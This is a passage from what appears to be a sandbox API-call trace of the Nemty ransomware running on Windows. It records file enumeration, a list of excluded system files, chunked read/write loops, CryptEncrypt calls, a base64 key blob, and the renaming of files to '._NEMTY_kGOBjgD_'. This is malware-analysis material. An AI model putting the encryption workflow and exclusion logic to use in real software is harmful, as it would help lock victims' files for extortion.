lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0059.091] CloseHandle (hObject=0xffffffff) returned 0 [0059.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0059.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0059.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0059.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0059.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.091] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png._nemty_kgobjgd_")) returned 0 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.091] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0059.091] lstrcmpiW (lpString1="notes-static.png", lpString2=".") returned 1 [0059.091] lstrcmpiW (lpString1="notes-static.png", lpString2="..") returned 1 [0059.091] lstrcmpiW (lpString1="notes-static.png", lpString2="...") returned 1 [0059.091] lstrcmpiW (lpString1="notes-static.png", lpString2="windows") returned -1 [0059.091] lstrcmpiW (lpString1="notes-static.png", lpString2="$RECYCLE.BIN") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="rsa") returned -1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="NTDETECT.COM") returned -1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="ntldr") returned -1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="MSDOS.SYS") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="IO.SYS") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="boot.ini") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="boot.ini") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="ntuser.dat") returned -1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="desktop.ini") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="CONFIG.SYS") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="RECYCLER") returned -1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="BOOTSECT.BAK") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="bootmgr") returned 1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="programdata") returned -1 [0059.092] lstrcmpiW (lpString1="notes-static.png", lpString2="appdata") returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notes-static.png", lpUsedDefaultChar=0x0) returned 16 [0059.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0059.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notes-static.png", lpUsedDefaultChar=0x0) returned 16 [0059.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0059.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notes-static.png", lpUsedDefaultChar=0x0) returned 16 [0059.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notes-static.png", lpUsedDefaultChar=0x0) returned 16 [0059.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94328 [0059.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0059.093] Sleep (dwMilliseconds=0x5) [0059.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6e07e90, dwHighDateTime=0x1d561e7)) [0059.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6e07e90, dwHighDateTime=0x1d561e7)) [0059.106] GetLastError () returned 0x5 [0059.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.106] GetLastError () returned 0x5 [0059.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0059.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0059.107] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0059.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0059.107] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="iH3fpw20V+DDZLbsTJ4e7zY+irKrsFhZwI5j0NBsZKAeOZwlN4Tk4XohfTa/3xO/\r\nNrTqbTor6GoeZy30psfa8tob8YiphjlSFIVbcqG31q/5sK/DC5Whwkzd0D9s2eNJ\r\nZ+F4y4u+zyrecFN4EZc8s2tfLiD0X97c6B0L3KQ1e+MNAyJrpdKUGboprz8A2sSU\r\n5GL2jWi1p033KiRT0IRMDYQPiM1fFjYph+PrtAlXpjXYXKrXvU4Ise1EWM58rzjF\r\n09G8Uv3hrJhuuKjNxR6XChqvQfV6e04leNfdEnqe14ssoGCtRxHJYNCZjL+/GLc8\r\nR52NTsCPby9tr6ZkODQOuw==\r\n", pcchString=0x653e91c) returned 1 [0059.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0059.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0059.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0059.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0059.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0059.107] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.108] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0059.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0059.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0059.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 